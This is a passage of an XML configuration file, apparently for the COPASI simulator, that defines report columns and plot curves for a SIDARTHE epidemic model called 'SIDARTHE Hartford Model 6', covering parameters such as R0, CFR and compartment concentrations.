<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDART],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New cases],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New diagnosed],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Perceived CFR],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Population],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[R0],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Recovered],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tnonew],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tot_reduction],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeak],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeaktime],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha_pop],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta_pop],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day15x],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day8x],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta_pop],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[epsilon],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[eta],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_epsilon],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_kappa],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_lambda],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_mu],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_nu],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_rho],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_sigma],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_theta],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_xi],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma_pop],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[kappa],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[lambda],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[nu],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r1],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r2],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r3],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r4],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r5],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[rho],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[scale],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[sigma],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[tau],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[xi],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[zeta],Reference=Value"/>
</Table>
</Report>
<Report key="Report_29" name="TC-summary2" taskType="timeCourse" separator="	" precision="10">
<Comment>
</Comment>
<Header>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day8x],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day15x],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tot_reduction],Reference=InitialValue,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[tau],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[R0],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Perceived CFR],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=Concentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeak],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeaktime],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[CFR],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="String=ImmuneRatio"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tnonew],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[DRT],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Diagnosed Cumulative infected],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDARTHE],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDART],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New cases],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New diagnosed],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Population],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Recovered],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[epsilon],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[eta],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[kappa],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[lambda],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[nu],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[rho],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[sigma],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[xi],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[zeta],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha_pop],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta_pop],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta_pop],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma_pop],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=Concentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=Concentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[H],Reference=Concentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=Concentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=Concentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[S],Reference=Concentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=Concentration,Property=DisplayName"/>
</Header>
<Footer>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day8x],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day15x],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tot_reduction],Reference=InitialValue"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[tau],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[R0],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Perceived CFR],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=Concentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeak],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeaktime],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[CFR],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[ImmuneRatio],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tnonew],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[DRT],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Diagnosed Cumulative infected],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDARTHE],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDART],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New cases],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New diagnosed],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Population],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Recovered],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[epsilon],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[eta],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[kappa],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[lambda],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[nu],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[rho],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[sigma],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[xi],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[zeta],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha_pop],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta_pop],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta_pop],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma_pop],Reference=Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=Concentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=Concentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[H],Reference=Concentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=Concentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=Concentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[S],Reference=Concentration"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=Concentration"/>
</Footer>
</Report>
</ListOfReports>
<ListOfPlots>
<PlotSpecification name="Time course" type="Plot2D" active="1" taskTypes="">
<Parameter name="log X" type="bool" value="0"/>
<Parameter name="log Y" type="bool" value="0"/>
<ListOfPlotItems>
<PlotItem name="A" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="1"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=Concentration"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="CFR" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[CFR],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="D" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=Concentration"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="DRT" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="2"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="#FF0000"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[DRT],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="Diagn cumul infected" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="2"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="#0000FF"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Diagnosed Cumulative infected],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="E" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=Concentration"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="H" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[H],Reference=Concentration"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="I" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=Concentration"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="IDART" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="#FF0000"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDART],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="IDARTHE" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="#0000FF"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDARTHE],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="New cases" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New cases],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="New diagnosed" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New diagnosed],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="Perceived CFR" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Perceived CFR],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="R" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="#00E600"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=Concentration"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="R0" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="0"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="auto"/>
<Parameter name="Recording Activity" type="string" value="during"/>
<ListOfChannels>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Reference=Time"/>
<ChannelSpec cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[R0],Reference=Value"/>
</ListOfChannels>
</PlotItem>
<PlotItem name="Recovered" type="Curve2D">
<Parameter name="Line type" type="unsignedInteger" value="0"/>
<Parameter name="Line subtype" type="unsignedInteger" value="2"/>
<Parameter name="Line width" type="unsignedFloat" value="1"/>
<Parameter name="Symbol subtype" type="unsignedInteger" value="0"/>
<Parameter name="Color" type="string" value="#00E600"/>
